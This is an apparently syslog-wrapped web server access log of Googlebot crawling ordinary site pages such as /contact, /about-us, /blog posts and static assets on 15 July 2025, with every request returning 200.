[15/Jul/2025:14:02:25 ] "GET /about-us HTTP/1.1" 200 6473 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3252]: 66.249.79.109 - - [15/Jul/2025:14:02:29 ] "GET / HTTP/1.1" 200 12159 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3604]: 66.249.79.55 - - [15/Jul/2025:14:02:27 ] "GET /contact HTTP/1.1" 200 8562 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:28 web-app[3785]: 66.249.79.52 - - [15/Jul/2025:14:02:28 ] "GET /blog/post-102 HTTP/1.1" 200 8387 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:28 web-app[3612]: 66.249.79.209 - - [15/Jul/2025:14:02:28 ] "GET /contact HTTP/1.1" 200 14988 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3875]: 66.249.79.228 - - [15/Jul/2025:14:02:29 ] "GET /help/faq HTTP/1.1" 200 5948 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:26 web-app[3139]: 66.249.79.184 - - [15/Jul/2025:14:02:26 ] "GET /about-us HTTP/1.1" 200 11718 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3636]: 66.249.79.186 - - [15/Jul/2025:14:02:27 ] "GET /products/all HTTP/1.1" 200 14733 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:26 web-app[3151]: 66.249.79.172 - - [15/Jul/2025:14:02:26 ] "GET /user/profile/99 HTTP/1.1" 200 9365 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3570]: 66.249.79.208 - - [15/Jul/2025:14:02:27 ] "GET /static/style.css HTTP/1.1" 200 6897 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3390]: 66.249.79.151 - - [15/Jul/2025:14:02:27 ] "GET /user/profile/99 HTTP/1.1" 200 12252 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3418]: 66.249.79.77 - - [15/Jul/2025:14:02:27 ] "GET /contact HTTP/1.1" 200 8058 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:26 web-app[3941]: 66.249.79.243 - - [15/Jul/2025:14:02:26 ] "GET /help/faq HTTP/1.1" 200 14136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3367]: 66.249.79.228 - - [15/Jul/2025:14:02:29 ] "GET /contact HTTP/1.1" 200 12074 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3898]: 66.249.79.23 - - [15/Jul/2025:14:02:25 ] "GET /images/logo.png HTTP/1.1" 200 7435 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3954]: 66.249.79.230 - - [15/Jul/2025:14:02:27 ] "GET /contact HTTP/1.1" 200 8062 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3744]: 66.249.79.58 - - [15/Jul/2025:14:02:29 ] "GET /user/profile/99 HTTP/1.1" 200 11872 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:26 web-app[3273]: 66.249.79.188 - - [15/Jul/2025:14:02:26 ] "GET /contact HTTP/1.1" 200 13607 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:28 web-app[3761]: 66.249.79.200 - - [15/Jul/2025:14:02:28 ] "GET /about-us HTTP/1.1" 200 14718 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:26 web-app[3762]: 66.249.79.1 - - [15/Jul/2025:14:02:26 ] "GET /static/style.css HTTP/1.1" 200 10031 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:27 web-app[3649]: 66.249.79.245 - - [15/Jul/2025:14:02:27 ] "GET /blog/post-102 HTTP/1.1" 200 9871 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3462]: 66.249.79.118 - - [15/Jul/2025:14:02:25 ] "GET /blog/post-101 HTTP/1.1" 200 12987 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3044]: 66.249.79.49 - - [15/Jul/2025:14:02:29 ] "GET /about-us HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3287]: 66.249.79.213 - - [15/Jul/2025:14:02:29 ] "GET /products/all HTTP/1.1" 200 8240 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3567]: 66.249.79.175 - - [15/Jul/2025:14:02:32 ] "GET / HTTP/1.1" 200 12459 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3186]: 66.249.79.250 - - [15/Jul/2025:14:02:31 ] "GET /products/all HTTP/1.1" 200 7560 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3449]: 66.249.79.216 - - [15/Jul/2025:14:02:30 ] "GET /static/style.css HTTP/1.1" 200 11087 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3633]: 66.249.79.204 - - [15/Jul/2025:14:02:31 ] "GET / HTTP/1.1" 200 8082 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3775]: 66.249.79.154 - - [15/Jul/2025:14:02:32 ] "GET /blog/post-101 HTTP/1.1" 200 11973 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3749]: 66.249.79.190 - - [15/Jul/2025:14:02:30 ] "GET /static/style.css HTTP/1.1" 200 8842 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3413]: 66.249.79.180 - - [15/Jul/2025:14:02:32 ] "GET / HTTP/1.1" 200 11696 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3680]: 66.249.79.212 - - [15/Jul/2025:14:02:30 ] "GET /user/profile/99 HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3863]: 66.249.79.236 - - [15/Jul/2025:14:02:32 ] "GET / HTTP/1.1" 200 5257 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3586]: 66.249.79.246 - - [15/Jul/2025:14:02:31 ] "GET / HTTP/1.1" 200 7383 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3393]: 66.249.79.140 - - [15/Jul/2025:14:02:31 ] "GET /images/logo.png HTTP/1.1" 200 9605 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:34 web-app[3937]: 66.249.79.54 - - [15/Jul/2025:14:02:34 ] "GET /static/style.css HTTP/1.1" 200 5854 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3827]: 66.249.79.188 - - [15/Jul/2025:14:02:30 ] "GET /contact HTTP/1.1" 200 7234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3387]: 66.249.79.111 - - [15/Jul/2025:14:02:32 ] "GET /help/faq HTTP/1.1" 200 14010 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3829]: 66.249.79.24 - - [15/Jul/2025:14:02:31 ] "GET /products/all HTTP/1.1" 200 7659 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3694]: 66.249.79.168 - - [15/Jul/2025:14:02:32 ] "GET /user/profile/99 HTTP/1.1" 200 11898 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:33 web-app[3680]: 66.249.79.55 - - [15/Jul/2025:14:02:33 ] "GET / HTTP/1.1" 200 8177 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3749]: 66.249.79.1 - - [15/Jul/2025:14:02:32 ] "GET / HTTP/1.1" 200 6531 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:33 web-app[3460]: 66.249.79.216 - - [15/Jul/2025:14:02:33 ] "GET /contact HTTP/1.1" 200 9008 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3554]: 66.249.79.220 - - [15/Jul/2025:14:02:32 ] "GET /blog/post-102 HTTP/1.1" 200 10707 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:34 web-app[3532]: 66.249.79.176 - - [15/Jul/2025:14:02:34 ] "GET /user/profile/99 HTTP/1.1" 200 13877 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3408]: 66.249.79.176 - - [15/Jul/2025:14:02:30 ] "GET /help/faq HTTP/1.1" 200 13799 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:33 web-app[3694]: 66.249.79.231 - - [15/Jul/2025:14:02:33 ] "GET /contact HTTP/1.1" 200 9176 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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66.249.79.97 - - [15/Jul/2025:14:02:34 ] "GET /blog/post-102 HTTP/1.1" 200 11651 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3090]: 66.249.79.187 - - [15/Jul/2025:14:02:31 ] "GET /user/profile/99 HTTP/1.1" 200 9677 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3393]: 66.249.79.239 - - [15/Jul/2025:14:02:32 ] "GET /products/all HTTP/1.1" 200 6594 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3931]: 66.249.79.75 - - [15/Jul/2025:14:02:30 ] "GET / HTTP/1.1" 200 14842 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3347]: 66.249.79.236 - - [15/Jul/2025:14:02:31 ] "GET /images/logo.png HTTP/1.1" 200 10852 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3475]: 66.249.79.29 - - [15/Jul/2025:14:02:30 ] "GET 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:32 web-app[3637]: 66.249.79.18 - - [15/Jul/2025:14:02:32 ] "GET /help/faq HTTP/1.1" 200 9722 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3326]: 66.249.79.95 - - [15/Jul/2025:14:02:31 ] "GET /contact HTTP/1.1" 200 6007 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:31 web-app[3850]: 66.249.79.168 - - [15/Jul/2025:14:02:31 ] "GET /contact HTTP/1.1" 200 9698 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:33 web-app[3776]: 66.249.79.159 - - [15/Jul/2025:14:02:33 ] "GET /products/all HTTP/1.1" 200 9004 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:34 web-app[3981]: 66.249.79.107 - - [15/Jul/2025:14:02:34 ] "GET /blog/post-101 HTTP/1.1" 200 13575 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:30 web-app[3627]: 66.249.79.133 - - [15/Jul/2025:14:02:30 ] "GET /images/logo.png HTTP/1.1" 200 14983 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:34 web-app[3170]: 66.249.79.60 - - [15/Jul/2025:14:02:34 ] "GET / HTTP/1.1" 200 13697 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3674]: 66.249.79.4 - - [15/Jul/2025:14:02:37 ] "GET /static/style.css HTTP/1.1" 200 14602 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3319]: 66.249.79.207 - - [15/Jul/2025:14:02:35 ] "GET /help/faq HTTP/1.1" 200 6495 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:38 web-app[3214]: 66.249.79.131 - - [15/Jul/2025:14:02:38 ] "GET /static/style.css HTTP/1.1" 200 5362 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:39 web-app[3916]: 66.249.79.52 - - [15/Jul/2025:14:02:39 ] "GET /blog/post-102 HTTP/1.1" 200 10554 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3486]: 66.249.79.239 - - [15/Jul/2025:14:02:35 ] "GET /blog/post-102 HTTP/1.1" 200 5618 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3780]: 66.249.79.57 - - [15/Jul/2025:14:02:35 ] "GET /products/all HTTP/1.1" 200 5057 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3027]: 66.249.79.120 - - [15/Jul/2025:14:02:35 ] "GET /user/profile/99 HTTP/1.1" 200 10822 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:38 web-app[3741]: 66.249.79.38 - - [15/Jul/2025:14:02:38 ] "GET /about-us HTTP/1.1" 200 11726 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3031]: 66.249.79.127 - - [15/Jul/2025:14:02:37 ] "GET /static/style.css HTTP/1.1" 200 6491 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:38 web-app[3807]: 66.249.79.211 - - [15/Jul/2025:14:02:38 ] "GET /help/faq HTTP/1.1" 200 11963 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3914]: 66.249.79.117 - - [15/Jul/2025:14:02:37 ] "GET /user/profile/99 HTTP/1.1" 200 14198 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:39 web-app[3640]: 66.249.79.143 - - [15/Jul/2025:14:02:39 ] "GET /static/style.css HTTP/1.1" 200 14940 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3985]: 66.249.79.213 - - [15/Jul/2025:14:02:35 ] "GET /products/all HTTP/1.1" 200 9591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:36 web-app[3442]: 66.249.79.28 - - [15/Jul/2025:14:02:36 ] "GET /user/profile/99 HTTP/1.1" 200 5454 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3306]: 66.249.79.1 - - [15/Jul/2025:14:02:37 ] "GET /contact HTTP/1.1" 200 10326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3727]: 66.249.79.113 - - [15/Jul/2025:14:02:35 ] "GET /user/profile/99 HTTP/1.1" 200 6504 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3206]: 66.249.79.192 - - [15/Jul/2025:14:02:35 ] "GET /products/all HTTP/1.1" 200 6382 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3105]: 66.249.79.241 - - [15/Jul/2025:14:02:35 ] "GET / HTTP/1.1" 200 14011 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3148]: 66.249.79.19 - - [15/Jul/2025:14:02:37 ] "GET /about-us HTTP/1.1" 200 9801 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:36 web-app[3099]: 66.249.79.54 - - [15/Jul/2025:14:02:36 ] "GET /help/faq HTTP/1.1" 200 13252 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:39 web-app[3619]: 66.249.79.97 - - [15/Jul/2025:14:02:39 ] "GET /contact HTTP/1.1" 200 7788 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3331]: 66.249.79.252 - - [15/Jul/2025:14:02:35 ] "GET / HTTP/1.1" 200 9180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3132]: 66.249.79.45 - - [15/Jul/2025:14:02:37 ] "GET /products/all HTTP/1.1" 200 5763 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:37 web-app[3156]: 66.249.79.72 - - [15/Jul/2025:14:02:37 ] "GET /images/logo.png HTTP/1.1" 200 7349 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:36 web-app[3814]: 66.249.79.226 - - [15/Jul/2025:14:02:36 ] "GET /user/profile/99 HTTP/1.1" 200 10669 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:38 web-app[3883]: 66.249.79.70 - - [15/Jul/2025:14:02:38 ] "GET /blog/post-101 HTTP/1.1" 200 14952 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:35 web-app[3408]: 66.249.79.242 - - [15/Jul/2025:14:02:35 ] "GET /help/faq HTTP/1.1" 200 8540 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:38 web-app[3332]: 66.249.79.62 - - [15/Jul/2025:14:02:38 ] "GET /blog/post-101 HTTP/1.1" 200 7361 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:39 web-app[3106]: 66.249.79.57 - - [15/Jul/2025:14:02:39 ] "GET /static/style.css HTTP/1.1" 200 8921 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:38 web-app[3775]: 66.249.79.210 - - [15/Jul/2025:14:02:38 ] "GET /images/logo.png HTTP/1.1" 200 11236 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:43 web-app[3795]: 66.249.79.65 - - [15/Jul/2025:14:02:43 ] "GET /images/logo.png HTTP/1.1" 200 14044 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:44 web-app[3497]: 66.249.79.140 - - [15/Jul/2025:14:02:44 ] "GET /about-us HTTP/1.1" 200 13460 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:44 web-app[3504]: 66.249.79.126 - - [15/Jul/2025:14:02:44 ] "GET /contact HTTP/1.1" 200 5505 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:41 web-app[3658]: 66.249.79.49 - - [15/Jul/2025:14:02:41 ] "GET /blog/post-101 HTTP/1.1" 200 10432 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:40 web-app[3955]: 66.249.79.14 - - [15/Jul/2025:14:02:40 ] "GET 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[15/Jul/2025:14:02:40 ] "GET /contact HTTP/1.1" 200 8312 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:44 web-app[3854]: 66.249.79.238 - - [15/Jul/2025:14:02:44 ] "GET /blog/post-102 HTTP/1.1" 200 9243 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:44 web-app[3607]: 66.249.79.53 - - [15/Jul/2025:14:02:44 ] "GET /blog/post-102 HTTP/1.1" 200 10925 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:44 web-app[3248]: 66.249.79.115 - - [15/Jul/2025:14:02:44 ] "GET /images/logo.png HTTP/1.1" 200 13153 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:43 web-app[3551]: 66.249.79.40 - - [15/Jul/2025:14:02:43 ] "GET /contact HTTP/1.1" 200 7785 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:45 web-app[3385]: 66.249.79.35 - - [15/Jul/2025:14:02:45 ] "GET /about-us HTTP/1.1" 200 12492 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:48 web-app[3818]: 66.249.79.82 - - [15/Jul/2025:14:02:48 ] "GET /user/profile/99 HTTP/1.1" 200 9503 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:46 web-app[3914]: 66.249.79.252 - - [15/Jul/2025:14:02:46 ] "GET /static/style.css HTTP/1.1" 200 10413 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:49 web-app[3377]: 66.249.79.222 - - [15/Jul/2025:14:02:49 ] "GET /about-us HTTP/1.1" 200 5425 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:46 web-app[3690]: 66.249.79.69 - - [15/Jul/2025:14:02:46 ] "GET /products/all HTTP/1.1" 200 11581 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:49 web-app[3555]: 66.249.79.188 - - [15/Jul/2025:14:02:49 ] "GET /blog/post-102 HTTP/1.1" 200 9373 "-" "Mozilla/5.0 (compatible; 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HTTP/1.1" 200 14308 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:48 web-app[3703]: 66.249.79.151 - - [15/Jul/2025:14:02:48 ] "GET /user/profile/99 HTTP/1.1" 200 12310 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:45 web-app[3779]: 66.249.79.235 - - [15/Jul/2025:14:02:45 ] "GET /blog/post-101 HTTP/1.1" 200 9321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:47 web-app[3885]: 66.249.79.107 - - [15/Jul/2025:14:02:47 ] "GET / HTTP/1.1" 200 14623 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:48 web-app[3438]: 66.249.79.202 - - [15/Jul/2025:14:02:48 ] "GET /user/profile/99 HTTP/1.1" 200 13392 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:48 web-app[3398]: 66.249.79.179 - - [15/Jul/2025:14:02:48 ] "GET / HTTP/1.1" 200 10377 "-" "Mozilla/5.0 (compatible; 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[15/Jul/2025:14:02:54 ] "GET /static/style.css HTTP/1.1" 200 12673 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:51 web-app[3047]: 66.249.79.34 - - [15/Jul/2025:14:02:51 ] "GET /blog/post-102 HTTP/1.1" 200 14480 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:50 web-app[3610]: 66.249.79.133 - - [15/Jul/2025:14:02:50 ] "GET /static/style.css HTTP/1.1" 200 10220 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:50 web-app[3608]: 66.249.79.188 - - [15/Jul/2025:14:02:50 ] "GET /products/all HTTP/1.1" 200 11600 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:51 web-app[3409]: 66.249.79.74 - - [15/Jul/2025:14:02:51 ] "GET /user/profile/99 HTTP/1.1" 200 6878 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:52 web-app[3303]: 66.249.79.18 - - [15/Jul/2025:14:02:52 ] "GET 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- - [15/Jul/2025:14:02:59 ] "GET /products/all HTTP/1.1" 200 11561 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:57 web-app[3997]: 66.249.79.162 - - [15/Jul/2025:14:02:57 ] "GET /user/profile/99 HTTP/1.1" 200 13377 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:58 web-app[3910]: 66.249.79.18 - - [15/Jul/2025:14:02:58 ] "GET /contact HTTP/1.1" 200 13676 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:59 web-app[3116]: 66.249.79.50 - - [15/Jul/2025:14:02:59 ] "GET /user/profile/99 HTTP/1.1" 200 10831 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:55 web-app[3821]: 66.249.79.228 - - [15/Jul/2025:14:02:55 ] "GET /user/profile/99 HTTP/1.1" 200 6092 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:55 web-app[3014]: 66.249.79.96 - - [15/Jul/2025:14:02:55 ] "GET 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14:03:06 web-app[3998]: 66.249.79.62 - - [15/Jul/2025:14:03:06 ] "GET /static/style.css HTTP/1.1" 200 5955 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:05 web-app[3168]: 66.249.79.197 - - [15/Jul/2025:14:03:05 ] "GET /user/profile/99 HTTP/1.1" 200 9082 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:07 web-app[3804]: 66.249.79.25 - - [15/Jul/2025:14:03:07 ] "GET /about-us HTTP/1.1" 200 13508 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:05 web-app[3964]: 66.249.79.138 - - [15/Jul/2025:14:03:05 ] "GET /static/style.css HTTP/1.1" 200 7708 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:06 web-app[3250]: 66.249.79.136 - - [15/Jul/2025:14:03:06 ] "GET /static/style.css HTTP/1.1" 200 7626 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:08 web-app[3601]: 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"-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:07 web-app[3507]: 66.249.79.67 - - [15/Jul/2025:14:03:07 ] "GET / HTTP/1.1" 200 14501 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:06 web-app[3925]: 66.249.79.238 - - [15/Jul/2025:14:03:06 ] "GET /user/profile/99 HTTP/1.1" 200 12631 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:09 web-app[3755]: 66.249.79.69 - - [15/Jul/2025:14:03:09 ] "GET /about-us HTTP/1.1" 